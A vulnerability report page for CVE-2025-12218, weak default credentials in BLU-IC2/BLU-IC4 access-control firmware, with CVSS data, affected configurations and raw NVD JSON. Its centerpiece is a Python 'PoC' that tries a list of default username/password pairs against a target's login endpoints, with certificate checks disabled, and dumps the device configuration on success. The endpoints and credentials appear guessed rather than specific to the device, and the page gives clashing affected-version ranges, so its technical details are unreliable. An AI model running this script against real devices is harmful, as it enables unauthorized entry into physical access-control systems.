Security Vulnerability Report
中文
CVE-2025-12218 CVSS 9.1 CRITICAL

CVE-2025-12218

Published: 2025-10-25 16:15:40
Last Modified: 2025-11-10 15:03:00
Source: a0340c66-c385-4f8b-991b-3d05f6fd5220

Description

Weak Default Credentials.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 < 1.19.5
BLU-IC4 < 1.19.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12218 PoC - BLU-IC2/BLU-IC4 Default Credentials This PoC demonstrates the weak default credentials vulnerability in BLU-IC2 and BLU-IC4 devices. WARNING: Only use for authorized security testing. """ import requests import sys from requests.auth import HTTPBasicAuth def check_default_credentials(target_ip, port=443): """ Check if target device has default credentials. Common default credentials for industrial control devices. """ # Default credential pairs to test default_creds = [ ('admin', 'admin'), ('admin', 'password'), ('admin', '12345'), ('admin', 'admin123'), ('user', 'user'), ('root', 'root'), ('root', 'password'), ('administrator', 'administrator'), ('blu', 'blu'), ('bluic', 'bluic'), ('', '') ] base_url = f"https://{target_ip}:{port}" for username, password in default_creds: try: # Try to access the login endpoint or protected resource response = requests.get( f"{base_url}/login", auth=HTTPBasicAuth(username, password), verify=False, timeout=10 ) # Check if authentication was successful if response.status_code == 200 and 'dashboard' in response.text.lower(): print(f"[!] SUCCESS: Default credentials found!") print(f" Username: {username}") print(f" Password: {password}") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {target_ip}: {e}") print("[-] No default credentials found or target not vulnerable") return False def exploit_weak_credentials(target_ip, port=443): """ Exploit weak default credentials to gain unauthorized access. """ print(f"[*] Attempting to exploit CVE-2025-12218 on {target_ip}") # Try common default credentials default_creds = [ ('admin', 'admin'), ('blu', 'blu') ] session = requests.Session() for username, password in default_creds: try: # Attempt login login_data = { 'username': username, 'password': password } response = session.post( f"https://{target_ip}:{port}/api/login", json=login_data, verify=False, timeout=10 ) if response.status_code == 200: result = response.json() if result.get('status') == 'success' or result.get('token'): print(f"[!] Access granted with credentials: {username}:{password}") # Try to access sensitive information config_response = session.get( f"https://{target_ip}:{port}/api/config", verify=False ) if config_response.status_code == 200: print("[!] Successfully accessed device configuration") print(f"[+] Configuration data: {config_response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12218.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f"[*] CVE-2025-12218 PoC - BLU-IC2/BLU-IC4 Weak Default Credentials\n") # Check for vulnerability is_vulnerable = check_default_credentials(target, port) if is_vulnerable: print("\n[*] Attempting exploitation...") exploit_weak_credentials(target, port) else: print("\n[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12218", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-25T16:15:40.397", "lastModified": "2025-11-10T15:03:00.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weak Default Credentials.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1392"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}